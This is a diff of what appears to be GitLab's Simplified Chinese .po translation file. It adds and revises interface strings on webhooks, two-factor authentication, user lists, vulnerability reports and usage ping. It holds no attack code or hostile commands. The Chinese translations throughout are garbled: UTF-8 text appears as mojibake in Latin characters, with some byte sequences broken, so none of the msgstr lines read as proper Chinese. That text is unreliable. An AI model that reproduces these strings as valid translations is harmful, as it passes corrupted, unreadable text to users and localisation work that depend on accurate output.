@@ -24810,7 +25490,7 @@ msgid "This subscription is for"
msgstr "此订阅适用于"
msgid "This suggestion already matches its content."
-msgstr ""
+msgstr "此建议已ç»ä¸Žå®ƒçš„内容相åŒã€‚"
msgid "This timeout will take precedence when lower than project-defined timeout and accepts a human readable time input language like \"1 hour\". Values without specification represent seconds."
msgstr "当低于项目定义的超时时,此超时将优先,并å¯æŽ¥å—英文语å¥ï¼Œå¦‚“1 hourâ€ã€‚默认å•ä½ä¸ºç§’。"
@@ -24830,6 +25510,9 @@ msgstr "此用户将æˆä¸ºæ´»åŠ¨æµä¸­æ‰€æœ‰äº‹ä»¶çš„作者,例如创建新分
msgid "This variable can not be masked."
msgstr "æ­¤å˜é‡æ— æ³•è¢«éšè—。"
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr "这将帮助我们个人化您的å¯ç”¨ä½“验。"
@@ -24933,7 +25616,7 @@ msgid "ThreatMonitoring|While it's rare to have no traffic coming to your applic
msgstr "虽然您的项目中还没有æµé‡ï¼Œè¿™ç§çŽ°è±¡å¾ˆç½•è§ï¼Œä½†ä¹Ÿæ˜¯æœ‰å¯èƒ½çš„。无论如何,建议您仔细检查设置以确ä¿WAFçš„é…置正确。"
msgid "Throughput"
-msgstr ""
+msgstr "åžåé‡"
msgid "Thursday"
msgstr "星期四"
@@ -25187,7 +25870,7 @@ msgid "To add the entry manually, provide the following details to the applicati
msgstr "如需手动添加æ¡ç›®ï¼Œè¯·åœ¨æ‰‹æœºåº”用中æ供以下信æ¯ã€‚"
msgid "To connect GitHub repositories, you can use a %{personal_access_token_link}. When you create your Personal Access Token, you will need to select the %{code_open}repo%{code_close} scope, so we can display a list of your public and private repositories which are available to connect."
-msgstr ""
+msgstr "å¯ä»¥ä½¿ç”¨ %{personal_access_token_link}连接GitHub仓库。当创建个人访问令牌时,需è¦é€‰æ‹©%{code_open}repo%{code_close}范围,以显示å¯ä¾›è¿žæŽ¥çš„公共和ç§æœ‰çš„仓库列表。"
msgid "To connect GitHub repositories, you first need to authorize GitLab to access the list of your GitHub repositories."
msgstr "è¦è¿žæŽ¥GitHub仓库,首先需è¦æŽˆæƒGitLab访问您的GitHub仓库列表。"
@@ -25201,9 +25884,6 @@ msgstr "如è¦è¿žæŽ¥SVN仓库,请查看 %{svn_link}。"
msgid "To define internal users, first enable new users set to external"
msgstr "è¦å®šä¹‰å†…部用户,请首先å¯ç”¨è®¾ç½®ä¸ºå¤–部的新用户"
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr "è¦å¯ç”¨å®ƒå¹¶æŸ¥çœ‹ç”¨æˆ·ä¸–代表,请访问 %{application_settings_link_start}应用程åºè®¾ç½®%{application_settings_link_end}。"
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr "为了进一步ä¿æŠ¤æ‚¨çš„å¸æˆ·ï¼Œè¯·è€ƒè™‘é…置一个%{mfa_link_start}åŒé‡èº«ä»½éªŒè¯%{mfa_link_end}方法。"
@@ -25220,7 +25900,7 @@ msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal
msgstr "首先,请您输入您的 Gitea æœåŠ¡å™¨åœ°å€å’Œä¸€ä¸ª %{link_to_personal_token}。"
msgid "To help improve GitLab and its user experience, GitLab will periodically collect usage information."
-msgstr "为了帮助改进 GitLab åŠå…¶ç”¨æˆ·ä½“验, GitLab 将定期收集使用信æ¯ã€‚"
+msgstr "为了帮助改进GitLabåŠæå‡ç”¨æˆ·ä½“验, GitLab将定期收集使用信æ¯ã€‚"
msgid "To help improve GitLab, we would like to periodically collect usage information. This can be changed at any time in %{settings_link_start}Settings%{link_end}. %{info_link_start}More Information%{link_end}"
msgstr "为了帮助改进GitLab,我们希望定期收集使用信æ¯ã€‚è¿™å¯ä»¥é€šè¿‡ %{settings_link_start}设置%{link_end}éšæ—¶æ›´æ”¹ã€‚ %{info_link_start}更多信æ¯%{link_end}"
@@ -25241,13 +25921,13 @@ msgid "To move or copy an entire GitLab project from another GitLab installation
msgstr "如需将整个GitLab项目从å¦ä¸€ä¸ªGitLabæœåŠ¡å™¨ç§»åŠ¨æˆ–å¤åˆ¶åˆ°æ­¤æœåŠ¡å™¨ï¼Œè¯·è®¿é—®åŽŸé¡¹ç›®çš„设置页é¢ï¼Œç”Ÿæˆå¯¼å‡ºæ–‡ä»¶ï¼Œç„¶åŽåœ¨æ­¤å¤„上载。"
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
-msgstr ""
+msgstr "如需外部仓库仅使用CI/CD功能时,请选择%{strong_open}使用外部仓库è¿è¡ŒCI/CD%{strong_close}。"
msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
msgstr "请将%{link} 页é¢è¿žæŽ¥åˆ°æ‚¨çš„ Jaeger æœåŠ¡å™¨ï¼Œä»¥ä¾¿åœ¨ GitLab 打开并轻æ¾æŸ¥çœ‹è·Ÿè¸ª"
msgid "To preserve performance only %{strong_open}%{display_size} of %{real_size}%{strong_close} files are displayed."
-msgstr ""
+msgstr "为了ä¿è¯æ€§èƒ½ï¼Œä»…显示文件中的总计%{strong_open}%{real_size}中的%{display_size}%{strong_close}。"
msgid "To protect this issue's confidentiality, %{forkLink} and set the fork's visibility to private."
msgstr "为了ä¿è¯æ­¤è®®é¢˜çš„机密性,%{forkLink}并将派生项目的å¯è§æ€§è®¾ç½®ä¸ºç§æœ‰ã€‚"
@@ -25286,9 +25966,15 @@ msgid "To start serving your jobs you can either add specific Runners to your pr
msgstr "è¦å¼€å§‹ä½¿ç”¨ä½œä¸šï¼Œæ‚¨å¯ä»¥å‘项目添加指定Runner或使用共享Runner"
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
+msgstr "è‹¥è¦é€€è®¢æ­¤é—®é¢˜ï¼Œè¯·å°†ä»¥ä¸‹é“¾æŽ¥ç²˜è´´åˆ°æ‚¨çš„æµè§ˆå™¨ï¼š"
+
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
msgstr ""
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgstr "è¦æŸ¥çœ‹æ‰€æœ‰%{scannedResourcesCount}已扫æçš„URL,请下载CSV文件"
+
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
msgstr ""
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
@@ -25301,7 +25987,7 @@ msgid "To widen your search, change or remove filters."
msgstr "需è¦æ‰©å¤§æœç´¢èŒƒå›´ï¼Œè¯·æ›´æ”¹æˆ–移除过滤æ¡ä»¶ã€‚"
msgid "To-Do"
-msgstr ""
+msgstr "待办事项"
msgid "To-Do List"
msgstr "待办事项列表"
@@ -25312,9 +25998,6 @@ msgstr "待办事项已æˆåŠŸæ ‡è®°ä¸ºå·²å®Œæˆã€‚"
msgid "Today"
msgstr "今日"
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr "切æ¢Markdown预览"
@@ -25375,6 +26058,9 @@ msgstr "åˆ‡æ¢ :%{name}: 表情符å·èµžèµã€‚"
msgid "Toggles :%{name}: emoji award."
msgstr "åˆ‡æ¢ :%{name}: 表情符å·èµžèµã€‚"
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr "明日"
@@ -25397,7 +26083,7 @@ msgid "Total Contributions"
msgstr "贡献总计"
msgid "Total Score"
-msgstr ""
+msgstr "总分"
msgid "Total artifacts size: %{total_size}"
msgstr "所有产物大å°ï¼š %{total_size}"
@@ -25421,7 +26107,7 @@ msgid "Total: %{total}"
msgstr "总计:%{total}"
msgid "TotalRefCountIndicator|1000+"
-msgstr ""
+msgstr "1000+"
msgid "Trace"
msgstr "跟踪"
@@ -25442,7 +26128,7 @@ msgid "Track your project with Audit Events."
msgstr "使用审计事件跟踪您的项目。"
msgid "Transfer"
-msgstr ""
+msgstr "转移"
msgid "Transfer ownership"
msgstr "转移所有æƒ"
@@ -25517,6 +26203,9 @@ msgid "Trigger"
msgstr "触å‘器"
msgid "Trigger cluster reindexing"
+msgstr "触å‘集群é‡å»ºç´¢å¼•"
+
+msgid "Trigger manual job"
msgstr ""
msgid "Trigger pipelines for mirror updates"
@@ -25529,7 +26218,7 @@ msgid "Trigger removed."
msgstr "触å‘器已删除。"
msgid "Trigger repository check"
-msgstr ""
+msgstr "触å‘仓库检查"
msgid "Trigger this manual action"
msgstr "触å‘此手动æ“作"
@@ -25588,9 +26277,18 @@ msgstr "关闭"
msgid "Turn On"
msgstr "å¼€å¯"
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr "å¯ç”¨æœåŠ¡å°"
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr "Twitter"
@@ -25606,12 +26304,24 @@ msgstr "åŒé‡è®¤è¯"
msgid "Two-factor Authentication Recovery codes"
msgstr "åŒé‡è®¤è¯æ¢å¤ç "
-msgid "Two-factor Authentication has been disabled for this user"
-msgstr "此用户已ç¦ç”¨åŒé‡è®¤è¯"
-
msgid "Two-factor authentication"
msgstr "åŒé‡è®¤è¯"
+msgid "Two-factor authentication disabled"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
+msgstr ""
+
msgid "Type"
msgstr "类型"
@@ -25685,7 +26395,7 @@ msgid "Unable to generate new instance ID"
msgstr "无法生æˆæ–°çš„实例 ID"
msgid "Unable to load commits. Try again later."
-msgstr ""
+msgstr "无法加载æ交。请ç¨åŽå†è¯•ã€‚"
msgid "Unable to load file contents. Try again later."
msgstr "无法加载文件内容。ç¨åŽå†è¯•ã€‚"
@@ -25736,7 +26446,7 @@ msgid "Unassign from commenting user"
msgstr "å–消分é…给评论用户"
msgid "Unassigned"
-msgstr ""
+msgstr "未分é…"
msgid "Unblock"
msgstr "解除ç¦ç”¨"
@@ -25792,8 +26502,8 @@ msgstr "解é”"
msgid "Unlock the discussion"
msgstr "解é”讨论"
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
-msgstr "解é”æ­¤%{issuableDisplayName}å—?解é”åŽ<strong>所有人</strong>都将å¯ä»¥å‘表评论。"
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
+msgstr ""
msgid "Unlocked"
msgstr "未é”定"
@@ -25882,6 +26592,9 @@ msgstr "传入了ä¸æ”¯æŒçš„待办事项类型。支æŒçš„待办事项类型为
msgid "Until"
msgstr "直到"
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
msgstr "未验è¯"
@@ -25898,7 +26611,7 @@ msgid "Update"
msgstr "æ›´æ–°"
msgid "Update %{sourcePath} file"
-msgstr ""
+msgstr "更新%{sourcePath}文件"
msgid "Update all"
msgstr "全部更新"
@@ -25963,14 +26676,11 @@ msgstr "更新于"
msgid "Updated %{updated_at} by %{updated_by}"
msgstr "由%{updated_by}更新于%{updated_at}"
-msgid "Updated at"
-msgstr "更新于"
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr "已更新至%{linkStart}chart v%{linkEnd}"
msgid "Updates"
-msgstr ""
+msgstr "æ›´æ–°"
msgid "Updating"
msgstr "更新中"
@@ -25979,10 +26689,10 @@ msgid "Upgrade plan to unlock Canary Deployments feature"
msgstr "å‡çº§åˆ°å¯ä½¿ç”¨é‡‘ä¸é›€éƒ¨ç½²åŠŸèƒ½çš„方案"
msgid "Upgrade your plan"
-msgstr ""
+msgstr "å‡çº§ä½ çš„计划"
-msgid "Upgrade your plan to activate Advanced Global Search."
-msgstr "å‡çº§æ‚¨çš„订阅计划以å¯ç”¨é«˜çº§å…¨å±€æœç´¢ã€‚"
+msgid "Upgrade your plan to activate Advanced Search."
+msgstr ""
msgid "Upgrade your plan to activate Audit Events."
msgstr "å‡çº§æ‚¨çš„订阅计划以激活审计事件。"
@@ -25991,7 +26701,7 @@ msgid "Upgrade your plan to activate Group Webhooks."
msgstr "å‡çº§æ‚¨çš„订阅计划以å¯ç”¨ç¾¤ç»„Webhook。"
msgid "Upgrade your plan to enable this feature of the Jira Integration."
-msgstr ""
+msgstr "å‡çº§æ‚¨çš„计划以å¯ç”¨æ­¤Jira集æˆåŠŸèƒ½ã€‚"
msgid "Upgrade your plan to improve Issue boards."
msgstr "å‡çº§æ‚¨çš„订阅计划以使用增强的议题看æ¿ã€‚"
@@ -26000,7 +26710,7 @@ msgid "Upgrade your plan to improve Merge Requests."
msgstr "å‡çº§æ‚¨çš„订阅计划以使用增强的åˆå¹¶è¯·æ±‚。"
msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
+msgstr "在这里上传%{code_open}GoogleCodeProjectHosting.json%{code_close}:"
msgid "Upload CSV file"
msgstr "上传CSV文件"
@@ -26042,7 +26752,7 @@ msgid "Uploads"
msgstr "上传"
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently removed after %{deletion_adjourned_period} days on %{date}. Until that time:"
-msgstr ""
+msgstr "执行此æ“作åŽï¼Œè¯¥ç¾¤ç»„,其å­ç»„和项目的内容将于%{deletion_adjourned_period}天åŽåœ¨%{date}永久删除。到那时之å‰ï¼š"
msgid "Upstream"
msgstr "上游"
@@ -26056,8 +26766,8 @@ msgstr "顶"
msgid "Usage"
msgstr "使用情况"
-msgid "Usage ping is not enabled"
-msgstr "使用情况检测(usage ping)未å¯ç”¨"
+msgid "Usage ping is off"
+msgstr ""
msgid "Usage statistics"
msgstr "使用情况统计"
@@ -26078,7 +26788,7 @@ msgid "UsageQuota|Current period usage"
msgstr "当å‰å‘¨æœŸä½¿ç”¨é‡"
msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
+msgstr "临时增加存储"
msgid "UsageQuota|LFS Objects"
msgstr "LFS对象"
@@ -26146,9 +26856,6 @@ msgstr ",您命å空间存储上é™æ€»è®¡%{formattedLimit}"
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr "使用 %{code_start}::%{code_end} 创建 %{link_start}有范围标签集%{link_end} (例如 %{code_start}priority::1%{code_end})"
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr "在GitLab内部使用æœåŠ¡å°é€šè¿‡ç”µå­é‚®ä»¶ä¸Žç”¨æˆ·è”系(例如æ供客户支æŒï¼‰"
@@ -26200,14 +26907,11 @@ msgstr "用户 %{current_user_username} 已开始使用%{username}的身份"
msgid "User %{username} was successfully removed."
msgstr "用户 %{username} å·²æˆåŠŸåˆ é™¤ã€‚"
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr "用户世代表仅在å¯ç”¨ %{usage_ping_link_start}使用情况检测(usage ping)%{usage_ping_link_end} 时显示。"
-
msgid "User IDs"
msgstr "用户ID"
msgid "User List"
-msgstr ""
+msgstr "用户列表"
msgid "User OAuth applications"
msgstr "用户的 OAuth 应用程åº"
@@ -26246,7 +26950,7 @@ msgid "User restrictions"
msgstr "用户é™åˆ¶"
msgid "User settings"
-msgstr ""
+msgstr "用户设置"
msgid "User was successfully created."
msgstr "用户已æˆåŠŸåˆ›å»ºã€‚"
@@ -26261,55 +26965,55 @@ msgid "User was successfully updated."
msgstr "用户已æˆåŠŸæ›´æ–°ã€‚"
msgid "UserLists|Add"
-msgstr ""
+msgstr "添加"
msgid "UserLists|Add Users"
-msgstr ""
+msgstr "添加用户"
msgid "UserLists|Add users"
-msgstr ""
+msgstr "添加用户"
msgid "UserLists|Cancel"
-msgstr ""
+msgstr "å–消"
msgid "UserLists|Create"
-msgstr ""
+msgstr "创建"
msgid "UserLists|Define a set of users to be used within feature flag strategies"
-msgstr ""
+msgstr "定义在功能标志策略中使用的一组用户"
msgid "UserLists|Edit"
-msgstr ""
+msgstr "编辑"
msgid "UserLists|Edit %{name}"
-msgstr ""
+msgstr "编辑%{name}"
msgid "UserLists|Enter a comma separated list of user IDs. These IDs should be the users of the system in which the feature flag is set, not GitLab IDs"
-msgstr ""
+msgstr "输入一个逗å·åˆ†éš”的用户ID列表。这些ID应该是设置使用功能标志的系统的用户,而ä¸æ˜¯GitLab ID"
msgid "UserLists|Feature flag list"
-msgstr ""
+msgstr "功能标志列表"
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
-msgstr ""
+msgstr "列表å…许您定义一组用于功能标志的用户。 %{linkStart}阅读更多关于功能标志列表的信æ¯ã€‚%{linkEnd}"
msgid "UserLists|Name"
-msgstr ""
+msgstr "å称"
msgid "UserLists|New list"
-msgstr ""
+msgstr "新建列表"
msgid "UserLists|Save"
-msgstr ""
+msgstr "ä¿å­˜"
msgid "UserLists|There are no users"
-msgstr ""
+msgstr "没有用户"
msgid "UserLists|User ID"
-msgstr ""
+msgstr "用户ID"
msgid "UserLists|User IDs"
-msgstr ""
+msgstr "用户ID"
msgid "UserList|Delete %{name}?"
msgstr "删除%{name}å—?"
@@ -26446,9 +27150,15 @@ msgstr "超出许å¯è¯çš„用户数:"
msgid "Users requesting access to"
msgstr "请求访问的用户"
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
msgid "Users were successfully added."
msgstr "å·²æˆåŠŸæ·»åŠ ç”¨æˆ·ã€‚"
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr "具有访客角色的用户或ä¸å±žäºŽä»»ä½•é¡¹ç›®æˆ–群组的用户将ä¸è®¡å…¥ä½¿ç”¨ä¸­çš„用户数é‡ã€‚"
@@ -26482,6 +27192,9 @@ msgstr "有效期自"
msgid "Validate"
msgstr "验è¯"
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr "验è¯æ‚¨çš„GitLab CIé…置文件"
@@ -26507,15 +27220,18 @@ msgid "Value Stream Analytics gives an overview of how much time it takes to go
msgstr "价值æµåˆ†æžæ¦‚述了项目从想法到产å“实现的å„阶段所需的时间。"
msgid "Value Stream Name"
-msgstr ""
+msgstr "价值æµå称"
msgid "ValueStreamAnalytics|%{days}d"
msgstr "%{days}天"
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
-msgstr ""
+msgstr "从首个æ交到议题关闭的中ä½æ•°æ—¶é—´ã€‚"
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
+msgstr "从议题创建到关闭的中ä½æ•°æ—¶é—´ã€‚"
+
+msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr ""
msgid "Variable"
@@ -26560,6 +27276,12 @@ msgstr "验è¯é…ç½®"
msgid "Version"
msgstr "版本"
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr "查看文档"
@@ -26641,13 +27363,13 @@ msgid "View log"
msgstr "查看日志"
msgid "View merge request"
-msgstr ""
+msgstr "查看åˆå¹¶è¯·æ±‚"
msgid "View open merge request"
msgstr "查看待处ç†çš„åˆå¹¶è¯·æ±‚"
msgid "View page @ "
-msgstr ""
+msgstr "查看页é¢@ "
msgid "View performance dashboard."
msgstr "查看性能仪表æ¿ã€‚"
@@ -26760,6 +27482,9 @@ msgstr "æ¼æ´ž"
msgid "Vulnerabilities over time"
msgstr "æ¼æ´žè¶‹åŠ¿å›¾"
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr "æ¼æ´žå·²ä¿®è¡¥ã€‚置为解决之å‰è¯·å…ˆè¿›è¡Œå®¡æ ¸ã€‚"
@@ -26791,7 +27516,7 @@ msgid "VulnerabilityManagement|Confirmed %{timeago} by %{user}"
msgstr "%{timeago}由%{user}确认"
msgid "VulnerabilityManagement|Could not process %{issueReference}: %{errorMessage}."
-msgstr ""
+msgstr "无法处ç†%{issueReference}: %{errorMessage}。"
msgid "VulnerabilityManagement|Detected %{timeago} in pipeline %{pipelineLink}"
msgstr "%{timeago}在æµæ°´çº¿%{pipelineLink}中检测到"
@@ -26821,10 +27546,7 @@ msgid "VulnerabilityManagement|Something went wrong while trying to save the com
msgstr "试图ä¿å­˜è¯„论时出错。请ç¨åŽå†è¯•ã€‚"
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
-msgstr ""
-
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr "出错了,无法创建议题。"
+msgstr "å°è¯•å–消与议题的链接时出错。请ç¨åŽå†è¯•ã€‚"
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr "出错了,无法读å–用户。"
@@ -26839,7 +27561,7 @@ msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr "å°†ä¸ä¿®å¤æˆ–为误报"
msgid "VulnerabilityManagement|invalid issue link or ID"
-msgstr ""
+msgstr "无效的议题链接或ID"
msgid "VulnerabilityStatusTypes|All"
msgstr "全部"
@@ -26863,7 +27585,7 @@ msgid "Vulnerability|Class"
msgstr "类型"
msgid "Vulnerability|Comments"
-msgstr ""
+msgstr "注释"
msgid "Vulnerability|Crash Address"
msgstr "崩溃地å€"
@@ -26878,7 +27600,7 @@ msgid "Vulnerability|File"
msgstr "文件"
msgid "Vulnerability|Identifier"
-msgstr ""
+msgstr "标识"
msgid "Vulnerability|Identifiers"
msgstr "标识"
@@ -26899,13 +27621,13 @@ msgid "Vulnerability|Project"
msgstr "项目"
msgid "Vulnerability|Request"
-msgstr ""
+msgstr "请求"
msgid "Vulnerability|Response"
-msgstr ""
+msgstr "å“应"
msgid "Vulnerability|Scanner"
-msgstr ""
+msgstr "扫æ工具"
msgid "Vulnerability|Scanner Provider"
msgstr "扫æ工具æ供者"
@@ -26967,8 +27689,8 @@ msgstr "我们建议您购买更多的æµæ°´çº¿åˆ†é’Ÿæ•°ï¼Œä»¥æ¢å¤æ­£å¸¸æœåŠ¡
msgid "We sent you an email with reset password instructions"
msgstr "我们å‘é€äº†ä¸€å°å¸¦æœ‰é‡ç½®å¯†ç ä¿¡æ¯çš„电å­é‚®ä»¶"
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
-msgstr "我们å°è¯•äºŽ%{expires_on}自动将%{strong}%{namespace_name}%{strong_close}çš„%{strong}%{plan_name}%{strong_close}订阅进行更新,但是出现了问题。因此您的订阅已é™çº§ä¸ºå…费计划。ä¸ç”¨æ‹…心,您的数æ®æ˜¯å®‰å…¨çš„。我们建议您检查付款方å¼å¹¶ä¸Žæˆ‘们的支æŒå›¢é˜Ÿè”ç³»(%{support_link})。他们将很会å助您完æˆç»­è®¢ã€‚"
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
msgstr "我们è¦ç¡®å®šæ‚¨æ˜¯ä¸æ˜¯æœºå™¨äººã€‚"
@@ -27004,7 +27726,7 @@ msgid "Webhooks"
msgstr "Webhooks"
msgid "Webhooks Help"
-msgstr ""
+msgstr "Webhooks帮助"
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr "如果有新的推é€æˆ–新的议题,Webhook将自动触å‘您设置URL。 您å¯ä»¥é…ç½® Webhook æ¥ç›‘å¬ç‰¹å®šäº‹ä»¶ï¼Œå¦‚推é€ã€è®®é¢˜æˆ–åˆå¹¶è¯·æ±‚。 群组 Webhook 适用于群组中的所有项目,便于您在整个群组中标准化webhook功能。"
@@ -27012,6 +27734,90 @@ msgstr "如果有新的推é€æˆ–新的议题,Webhook将自动触å‘您设置UR
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr "Webhook设置已移动。现在å¯ä»¥åœ¨è®¾ç½®èœå•ä¸­æ‰¾åˆ°ã€‚"
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr "星期三"
@@ -27033,30 +27839,33 @@ msgstr "欢迎回æ¥ï¼æ‚¨çš„å¸æˆ·ä¹‹å‰å› ä¸ºæ²¡æœ‰æ´»åŠ¨è€Œè¢«å†»ç»“,但目
msgid "Welcome to GitLab"
msgstr "欢迎æ¥åˆ°GitLab"
-msgid "Welcome to GitLab %{name}!"
-msgstr "欢迎使用GitLab,%{name}ï¼"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
+msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr "欢迎使用GitLab,%{first_name}ï¼"
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr "欢迎æ¥åˆ°GitLab导览"
msgid "Welcome to your Issue Board!"
msgstr "欢迎使用议题看æ¿"
-msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
+msgid "Welcome to your issue board!"
msgstr ""
+msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
+msgstr "我们一直在改进%{featureName}功能。我们欢迎您通过%{linkStart}此议题%{linkEnd}æä¾›å馈,以帮助我们改善用户体验。"
+
msgid "What are you searching for?"
msgstr "您正在æœç´¢ä»€ä¹ˆï¼Ÿ"
msgid "What describes you best?"
msgstr "如何形容您最åˆé€‚?"
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr "您的体验水平是多少?"
@@ -27083,7 +27892,7 @@ msgid_plural "When these merge requests are accepted"
msgstr[0] "当åˆå¹¶è¯·æ±‚被接å—æ—¶"
msgid "When using the %{code_open}http://%{code_close} or %{code_open}https://%{code_close} protocols, please provide the exact URL to the repository. HTTP redirects will not be followed."
-msgstr ""
+msgstr "使用%{code_open}http://%{code_close}或%{code_open}https://%{code_close}å议时,请æ供仓库的实际地å€ã€‚ä¸æ”¯æŒHTTPé‡å®šå‘。"
msgid "When:"
msgstr "当:"
@@ -27146,7 +27955,7 @@ msgid "WikiEmptyIssueMessage|issue tracker"
msgstr "议题跟踪"
msgid "WikiEmpty| Have a Confluence wiki already? Use that instead."
-msgstr ""
+msgstr "å·²ç»æœ‰Confluence Wiki?å¯ä»¥ç›´æŽ¥ä½¿ç”¨ã€‚"
msgid "WikiEmpty|A wiki is where you can store all the details about your group. This can include why you've created it, its principles, how to use it, and so on."
msgstr "您å¯ä»¥ä½¿ç”¨Wikiæ述您的群组信æ¯ï¼Œä¾‹å¦‚:创建该群组的原因ã€ç¾¤ç»„的原则或者群组的使用说明等等。"
